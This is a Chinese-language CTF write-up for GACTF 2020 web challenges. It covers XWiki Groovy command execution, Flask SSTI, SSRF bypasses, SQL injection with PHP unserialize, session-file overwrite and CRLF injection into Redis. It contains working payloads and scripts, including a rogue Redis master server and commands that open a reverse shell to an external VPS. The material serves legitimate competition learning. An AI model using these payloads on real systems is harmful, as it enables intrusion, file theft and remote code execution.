2020 GACTF web

题目很有意思,给星盟师傅跪了

XWiki

XWiki CVE & groovy 交互

XWiki 11.10.1,搜索当前CVE,找到任意命令执行漏洞

https://jira.xwiki.org/browse/XWIKI-16960

python被底层限制,但是groovy可以打

1
2
3
4
5
r = Runtime.getRuntime()
proc = r.exec('/readflag');
BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s1 = null;
while ((s1 = stdInput1.readLine()) != null) { print s1; }

一开读flag的时候就会卡死,后来一句句读了发现需要交互回答问题,没给问题个数,回答哪个数最大,0或者1,一开始我以为回答完就会给flag,结果手打了几十个 : )发现还没到尽头,而且回答的顺序是固定,那估计就是flag的bin值,写个脚本然后手动二分到464位结束,最后是Congratulations,然后把回答的01连起来就是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
proc = Runtime.getRuntime().exec('/readflag');
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(proc.getOutputStream()));
String flag = ''

String s1 = null;
for(int i in 1..2) {
s1 = br.readLine();
println s1;
}
for(int i in 1..464) {
s1 = br.readLine();
res = s1[25..-1].split(' : ');
a = Integer.parseInt(res[0]);
b = Integer.parseInt(res[1]);
c = (a > b) ? 0 : 1;
flag += c
bw.write(c+"\n");
bw.flush();
}
s1 = br.readLine();
println s1
println flag

simpleflask

SSTI

过滤单引号、空格、加号、flag、eval、import,限制了文件名长度

这里直接贴payload

1
name={{{}.__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["__builtins__"]["open"]("/FLAG".swapcase()).read()}}

EZFLASK

SSTI & SSRF

提出给出源码,有用的只有eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
hint =xxxx # hints
trick = xxxx # trick
return trick

@app.route('/')
def index():
# app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
# post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
# admin requests
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)

ban了很多单双引号和小中大括号,以及多个关键字,但是留下了__globals__func_globals,利用它爆出admin路径

1
2
3
4
POST /eval
eval=ctf.__globals__

{'my_eval': <function my_eval at 0x7f7469bf0dd0>, 'app': <Flask 'app_1'>, 'waf_eval': <function waf_eval at 0x7f7469bf0c50>, 'admin': <function admin at 0x7f7469b3a650>, 'index': <function index at 0x7f7469bf0d50>, 'waf_ip': <function waf_ip at 0x7f7469bf0b50>, '__builtins__': <module '__builtin__' (built-in)>, 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': <Request 'http://124.70.206.91:10001/eval' [POST]>, '__package__': None, 'Flask': <class 'flask.app.Flask'>, 'ctf': <function ctf at 0x7f7469bf0cd0>, 'waf_path': <function waf_path at 0x7f7469bf0bd0>, 'time': <module 'time' from '/usr/local/lib/python2.7/lib-dynload/time.so'>, '__name__': '__main__', 'requests': <module 'requests' from '/usr/local/lib/python2.7/site-packages/requests/__init__.pyc'>, '__doc__': None}

admin是一个http请求,一看就是ssrf,fuzz了一下发现

  • waf_ip满足点分十进制(准确来讲是点分数字)ban: xxx.0.0.xxx、192.xxx.xxx.xx
  • port是4位任意字符
  • path是非数字字符

这里卡了很久,队友@小喇叭发现127开头的地址就可以绕过内网地址,这就有意思了 : )

扫到5000端口有东西,是常见的列出全局变量的SSTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /h4rdt0f1nd_9792uagcaca00qjaf

ip=127.1.1.1&port=5000&path=

import flask
from xxxx import flag
app = flask.Flask(__name__)
app.config['FLAG'] = flag
@app.route('/')
def index():
return open('app.txt').read()
@app.route('/<path:hack>')
def hack(hack):
return flask.render_template_string(hack)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

长度限制又过滤了config,这里可以直接把['co'+'nfig']写成['co''nfig']

1
2
3
POST /h4rdt0f1nd_9792uagcaca00qjaf

ip=127.1.1.1&port=5000&path=%7B%7Burl_for.__globals__['current_app']['co''nfig']%7D%7D

carefuleyes

二次注入 & 反序列化

题目给了源码,直接给了一个反序列化的接口

主要代码有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

require_once "common.php";

if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
$info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
$info = $info->fetch_assoc();
echo "oldfilename : ".$info['filename']." will be changed.";
} else {
exit("old file doesn't exists!");
}
}

...

这个存在二次注入,通过union注入可以得到username和password

1
1' and 0 union select username,password,1,1,1 from user#.jpg

这里是反序列化的类,拿到admin就能拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class XCTFGG{
private $method;
private $args;

public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

function login() {
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));

$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

global $db;
$obj = $db->query($sql);

$obj = $obj->fetch_assoc();

global $FLAG;

if ( $obj != false && $obj['privilege'] == 'admin' ) {
die($FLAG);
} else {
die("Admin only!");
}
}

function __destruct() {
@call_user_func_array(array($this, $this->method), $this->args);
}

}

最终exp如下

1
2
3
4
5
6
7
8
9
10
11
POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22XM%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1
Host: 124.71.191.175
Content-Length: 343
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVQBCUL5NvVhHTcjT

------WebKitFormBoundaryVQBCUL5NvVhHTcjT
Content-Disposition: form-data; name="upfile"; filename="1' and 0 union select username,password,1,1,1 from user#.jpg"
Content-Type: text/html

xxx
------WebKitFormBoundaryVQBCUL5NvVhHTcjT--

babyshop

反混淆 & 任意文件读写 & sess 反序列化

.git源码泄露 但是被混淆了,代码不是很长,用xdebug慢慢调出来,这里贴一份@cjm00n人工解混淆的主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
<?php  

class 造齿轮
{
protected $storage;
protected $贡品;
protected $sessionId;
protected $safeExt;

public function __construct()
{
$this->storage = "storage";
if (!is_dir($this->storage)) mkdir($this->storage);
$this->safeExt = array("php", "html", "flag", "htaccess");
}

public function open($货物, $食物)
{
foreach ($this->safeExt as $item) {
if (stripos($_COOKIE[$食物], $item) !== false) {
die('invaild ' . $食物);
return false;
}
}
$this->sessionId = session_id();
return true;
}

public function write($货物, $食物)
{
$this->贡品 = $货物;
return file_put_contents($this->storage . '/sess_' . $货物, $食物) === false ? false : true;
}

public function read($货物)
{
$this->贡品 = $货物;
return (string)@file_get_contents($this->storage . "/sess_" . $货物);
}

public function writeNote($content)
{
if (strlen($this->sessionId) <= 0) return;
echo getcwd();
return file_put_contents($this->storage . '/note_' . $this->sessionId, $content) === false ? false : true;
}

public function getNote()
{
return (string)@file_get_contents($this->storage . '/note_' . $this->贡品);
}

public function 思考($货物)
{
$this->贡品 = $货物;
if (file_exists($this->storage . '/sess_' . $货物)) {
unlink($this->storage . '/sess_' . $货物);
}
return true;
}

public function destroy($货物)
{
foreach (glob($this->storage . '/*') as $元素) {
if (filemtime($元素) + $货物 < time() && file_exists($元素)) {
unlink($元素);
}
}
return true;
}

public function close()
{
return true;
}

public function __destruct()
{
$this->writeNote($this->getNote());
}
}
chdir("D:\\CTF\\gactf2020\\babyshopsrc");
$齿轮 = new 造齿轮();
session_set_save_handler(array($齿轮, 'open'), array($齿轮, 'close'), array($齿轮, 'read'), array($齿轮, 'write'), array($齿轮, 'destroy'), array($齿轮, 'close'));
session_start();
srand(mktime(0, 0, 0, 0, 0, 0));
$盛世 = array(1186989435 => array("alice", 0b1), 1847880546 => array("bob", 0b101), 444424444 => array("cat", 0b10100), 324870919 => array("dog", 0b1111), 94267937 => array("evil", 0b101), 1889069619 => array("flag", 0b10011100001111));

function 取经()
{
global $盛世;
$宝藏 = '[';
foreach ($_SESSION['items'] as $元素) $宝藏 .= $盛世[$元素][0] . ', ';
$宝藏 .= ']';
return $宝藏;
}

function 念经()
{
global $齿轮;
return $齿轮->getNote();
}

function 造世()
{
global $盛世;
$宝藏 = '';
foreach ($盛世 as $按键 => $元素) $宝藏 .= '<div class="item"><form method="POST"><div class="form-group">' . $元素[0] . '</div><div class="form-group"><input type="hidden" name="id" value="' . $按键 . '"><button type="submit" class="btn btn-success">buy ($' . $元素[1] . ')</button></div></form></div>';
return $宝藏;
}

if (!isset($_SESSION['balance'])) $_SESSION['balance'] = 4466;
if (!isset($_SESSION['items'])) $_SESSION['items'] = [];
if (!isset($_SESSION['note'])) $_SESSION['note'] = '';
if (isset($_POST['id'])) {
if ($_SESSION['balance'] >= $盛世[$_POST['id']][1]) {
$_SESSION['balance'] = $_SESSION['balance'] - $盛世[$_POST['id']][1];
array_push(${'_SESSION'}['items'], $_POST['id']);
echo('<span style="color:green">buy succ!</span>');
} else {
echo('<span style="color:red">lack of balance!</span>');
}
}
if (isset($_POST['note'])) {
if (strlen($_POST['note']) <= 1024) {
$齿轮->writeNote(str_replace(array('&', '<', '>'), array('&amp;', '&lt;', '&gt;'), $_POST['note']));
echo('<span style="color:green">write succ!</span>');
} else {
echo('<span style="color:red">note too long!</span>');
}
}

?>

简单来说就是用户会先生成一个sess文件,买东西的时候会更新,笔记部分会生一个另外的note文件,作简单的标签过滤,因为这里的文件名都是拼接出来的,所以导致了我们任意读写文件和触发session发序列化,不过限制不能含有phphtmlflaghtaccess,这里主要是通过覆写sess文件来进行session反序列化

这里给出一个买flag的过程,也就是我们覆写sess文件的过程

买flag流程:

  1. 先注册个id:45fe489991ade97ddb812783a7d438f7
  2. 写note:balance|i:9999;items|a:1:{i:0;s:10:”1186989435”;}note|s:0:””;
  3. 修改id:/../note_45fe489991ade97ddb812783a7d438f7
  4. 就可以买flag了

然后可以看到在造齿轮类的__destruct可以任意读写文件

贴上我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

ini_set('session.serialize_handler', 'php');
session_start();

class 造齿轮 {
protected $朝拜圣地 = "storage";
protected $贡品 = "1/../../../../../flag";
protected $圣殿 = "1/../tyao";
protected $禁地;
}

$o = new 造齿轮();
$_SESSION['balance'] = 9999;
$_SESSION['items'] = [];
array_push($_SESSION['items'], $o);

然后去把自己sess文件拿出来,重复上述买flag的部分,访问storage/tyao即可看到flag

1
balance%7Ci%3A9999%3Bitems%7Ca%3A1%3A%7Bi%3A0%3BO%3A9%3A%22%E9%80%A0%E9%BD%BF%E8%BD%AE%22%3A4%3A%7Bs%3A15%3A%22%00%2A%00%E6%9C%9D%E6%8B%9C%E5%9C%A3%E5%9C%B0%22%3Bs%3A7%3A%22storage%22%3Bs%3A9%3A%22%00%2A%00%E8%B4%A1%E5%93%81%22%3Bs%3A21%3A%221/../../../../../flag%22%3Bs%3A9%3A%22%00%2A%00%E5%9C%A3%E6%AE%BF%22%3Bs%3A9%3A%221/../tyao%22%3Bs%3A9%3A%22%00%2A%00%E7%A6%81%E5%9C%B0%22%3BN%3B%7D%7D

sssrfme

SSRF + Python CRLF

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);


function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){

echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;

return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}

if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;

return false;
}else{
return $url;
}
}


function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}

highlight_file(__FILE__);
curl($_GET['url']);

用到的是php中parse_url和cURL的差异性,然后想办法通过CRLF打Redis

去bugs.php.net搜只搜到这篇与它相关

https://bugs.php.net/bug.php?id=77991

内网地址可以这么绕过

1
?url=http://foo@127.0.0.1:6379%20@www.baidu.com/

下一步应该就是用https协议的CRLF打Redis,但是打不出来

赛后更新

原来5000端口有东西,是个套娃提 : >

1
2
hello,world
hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com

访问一下可以直接到baidu.com

1
?url=http://foo@127.0.0.1:5000%20@www.baidu.com/%3Furl=https://baidu.com

5000端口猜测是Flask服务,从消息头可以看出用的是Python-urllib/3.7,这个库爆出过CRLF,刚好可以用来打Redis

image-20200902140319742

这里有个trick就是,怎么判断Redis命令是否执行成功,这里用到了SLAVEOF命令,可以向外网发送PING数据

1
SLAVEOF vpsip vpsport

认证直接使用AUTH pwd接口,经过爆破可以知道弱口令123456

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib.parse
import requests as rq

target= "http://45.77.217.198:10801"

payload = ''' HTTP/1.1
auth 123456
slaveof %s 9999
foo: ''' % "xxx.xxx.xxx.xxx"

payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload
print(payload)

res = rq.get(target + payload)
print(res.text)

然后最后getshell是用到一个主从复制,参考以下链接

https://github.com/vulhub/redis-rogue-getshell

编译exp

1
2
cd RedisModulesSDK
make

创建rogue.py如下,服务器运行监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"

class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break
self.finish()
def finish(self):
self.request.close()
class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True
def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload

with open("exp.so", 'rb') as f:
server = RoguoServer(('0.0.0.0', 1088), f.read())
server.handle_request()

但是在Redis中,为了防止http协议对Redis端口的攻击,它如果检测到”POST”或者”Host:”,就会中断这次连接,并且在日志中留下这行,我们可以通过添加%00绕过

但是Redis是一边判断一边逐行执行,所以只要在读到”Host:”之前把需要的操作做完即可,所以不加也没关系(

所以最终exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse
import requests as rq

target = "http://45.77.217.198:10802"
vps = "167.179.94.19"

payload1 = f''' HTTP/1.1
AUTH 123456
slaveof {vps} 1089
config set dbfilename exp.so
foo: '''

payload2 = f''' HTTP/1.1
AUTH 123456
module load ./exp.so
slaveof no one
config set dbfilename dump.rdb
system.rev {vps} 4444
foo: '''


def exp(payload):
payload = urllib.parse.quote(payload).replace("%0A", "%0D%0A")
payload = "?url=http://127.0.0.1:6379/" + payload
payload = urllib.parse.quote(payload)
payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload
print(payload)
res = rq.get(target + payload)
print(res.text)

# execute step by step
exp(payload1)
exp(payload2)